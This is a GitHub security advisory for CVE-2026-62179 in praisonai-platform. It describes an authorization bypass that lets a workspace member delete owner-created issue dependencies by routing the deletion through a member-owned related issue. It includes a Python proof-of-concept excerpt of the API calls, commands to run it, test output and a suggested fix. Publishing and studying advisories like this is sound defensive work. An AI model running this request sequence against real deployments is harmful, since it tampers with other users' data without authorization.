GitHub Advisoryadvisory · PyPI

GHSA-mxmx-rh57-jx58 PraisonAI: Platform members can delete owner issue dependencies through member-owned related issues

MEDIUM Published 2026-10-07 Modified 2026-10-07 Official page ↗
Aliases
CVE-2026-62179
Ecosystem
PyPI
Packages
praisonai-platform
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Weaknesses
CWE-862, CWE-863
Reviewed
2026-10-07

Affected packages

• PyPI praisonai-platform: < 0.1.9 → fixed in 0.1.9

Description

Platform members can delete owner issue dependencies through member-owned related issues Summary `praisonai-platform` issue dependency deletion can be authorized against the wrong side of a dependency edge. A workspace member cannot delete a dependency through the owner-created issue endpoint, but can delete the same dependency through a member-owned related issue endpoint because the route accepts either endpoint and checks delete permission only against the caller-selected URL issue. Technical Details The affected boundary is the difference between ordinary workspace membership and owner/admin authority over destructive changes to owner-created issue workflow state. `src/praisonai-platform/praisonai_platform/api/routes/dependencies.py` defines `DELETE /workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}`. The route first verifies that the URL `issue_id` is in the workspace, loads the dependency by `dep_id`, and accepts the dependency when either `dep.issue_id == issue_id` or `dep.depends_on_issue_id == issue_id`. It then calls `require_delete_permission(workspace_id, user, session, resource_owner_id=issue.creator_id)` for the URL issue only. `src/praisonai-platform/praisonai_platform/api/deps.py` implements `require_delete_permission` as "admin/owner or resource owner". That helper is appropriate when the protected resource has a single owner, but the dependency route lets the caller choose either side of the relationship before the helper runs. If an owner-created issue is related to a member-owned issue, the member can select the member-owned issue in the URL, satisfy `resource_owner_id == user.id`, and delete the dependency edge that is also returned from the owner-created issue's dependency list. The same route family also lets any workspace member create dependency edges on owner-created issues with only `require_workspace_member`. `POST /workspaces/{workspace_id}/issues/{issue_id}/dependencies/` verifies that both issues are in the workspace, then calls `DependencyService.create(issue_id, body.depends_on_issue_id, body.type)` without checking owner/admin authority over the primary issue. This report focuses on the stronger delete-guard bypass because the current owner issue endpoint returns `403` while the related member issue endpoint deletes the same edge with `204`. The intended boundary is visible from the local controls: a member deleting an owner-only dependency through an owner issue endpoint returns `403`, an owner deleting the same dependency returns `204`, and a non-member creating a dependency returns `403`. The vulnerability is the endpoint-selection path where the member uses a related member-owned issue as the URL issue to delete an owner-side dependency edge. PoV the PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and a non-member, creates one owner-owned issue and one member-owned issue in the same workspace, creates a dependency from the owner issue to the member issue, then exercises the dependency delete route through both issue endpoints. Essential excerpt: ```python dep_resp = await client.post( f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/", json={"depends_on_issue_id": member_issue_id, "type": "blocks"}, headers=owner_headers, ) dep_id = dep_resp.json()["id"] member_delete_owner_endpoint = await client.delete( f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}", headers=member_headers, ) member_delete_member_endpoint = await client.delete( f"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}", headers=member_headers, ) owner_list_after_member_delete = await client.get( f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/", headers=owner_headers, ) ``` The full PoV script is included in the appendix below as `pov_platform_dependency_delete_bypass.py`. PoC Current head tested: ```text 846568c7a5d8ce9e71e56e4c213f027c04909753 2026-06-17 20:13:04 +0100 chore: clean up redundant 'persist-credentials' entries in GitHub workflows ``` Run against a local checkout of current head: ```sh uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_dependency_delete_bypass.py --repo ./PraisonAI --json ``` Decisive current-head output: ```json { "checks": { "member_create_dependency_on_owner_issue": 201, "member_delete_member_issue_endpoint": 204, "member_delete_owner_issue_endpoint": 403, "member_delete_owner_only_dependency": 403, "non_member_create_dependency": 403, "owner_delete_owner_only_dependency": 204, "owner_dependency_count_after_member_delete": 0 }, "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753", "vulnerable": true } ``` The key vulnerable sequence is `member_delete_owner_issue_endpoint == 403`, followed by `member_delete_member_issue_endpoint == 204` for the same dependency id, followed by `owner_dependency_count_after_member_delete == 0`. Run against the latest PyPI package observed during testing: ```sh uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_dependency_delete_bypass.py --json ``` Decisive latest-PyPI output: ```json { "checks": { "member_create_dependency_on_owner_issue": 201, "member_delete_member_issue_endpoint": 204, "member_delete_owner_issue_endpoint": 403, "member_delete_owner_only_dependency": 403, "non_member_create_dependency": 403, "owner_delete_owner_only_dependency": 204, "owner_dependency_count_after_member_delete": 0 }, "source": "pypi:praisonai-platform==0.1.8", "vulnerable": true } ``` Version sweep excerpt: ```text praisonai-platform 0.1.4: member delete through the owner issue endpoint returned 204, so the current endpoint-selection bypass is masked by broader older dependency delete behavior. praisonai-platform 0.1.6: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0. praisonai-platform 0.1.8: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0. ``` Impact An ordinary workspace member can remove dependency edges from owner-created issues whenever the dependency also references a member-owned issue. This lets the member remove `blocks`, `blocked_by`, or `related` workflow state that an owner/admin expected to protect planning or execution order. The same route family also allows the member to create dependency edges on owner-created issues, so a member can both add false workflow relationships and remove owner-created relationships through endpoint selection. Suggested severity: Medium. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` (6.5). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges, does not claim confidentiality impact, and treats the consequence as workflow integrity loss rather than code execution. Suggested Fix Define authorization for dependency edges explicitly instead of deriving it from the caller-selected URL issue. A straightforward fix is to require delete authority on the primary `dep.issue_id` issue, regardless of which related issue endpoint was used to address the edge. A stricter fix is to require workspace admin/owner authority or sufficient au…

Related

Alias · CVE (1)

  • CVE-2026-62179 PraisonAI is a multi-agent teams system. vulnerability

Weakness · CWE (2)

  • CWE-862 Missing Authorization weakness
  • CWE-863 Incorrect Authorization weakness

References